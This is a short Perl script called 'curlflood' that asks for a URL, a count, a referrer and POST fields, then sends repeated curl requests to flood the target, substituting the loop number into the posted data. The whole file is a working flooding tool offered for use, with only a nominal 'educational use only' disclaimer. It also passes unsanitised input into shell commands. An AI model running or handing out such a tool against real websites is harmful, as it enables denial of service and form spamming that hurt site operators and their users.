#!/usr/bin/perl
# Author: gendou
# Disclaimer: This script is meant for educational use only. Obey the law in your country!
# Usage: curlflood [url] [count] [ref]
# v 1.0.2

die("Sorry, you need to install `curl` to use this script.\n") if(`which curl` eq '');

$url = shift;
while($url eq "") {
        print "URL: ";
        chomp($url = <>);
}

$count = shift;
while($count < 1) {
        print "Count: ";
        chomp($count = <>);
}

$ref = shift;
while($ref eq "") {
        print "Referrer: ";
        chomp($ref = <>);
        $ref = "-e '$ref'" if($ref);
}

while(1) {
        print "Post Argument Name (press return to skip): ";
        chomp($name = <>);
        last if($name eq "");
        print "Post Argument Data: ";
        chomp($value = <>);
        $data .= "-d $name='$value' ";
}

print "\n";
for($i = 0; $i < $count; $i++) {
        print "  Flood #$i ...\r";
        $xdata = $data;
        $xdata =~ s/\$i/$i/g;
        $_ = `curl -s $ref $xdata '$url'`;
        print "\n\n$_\n\n" if(!$i);
}
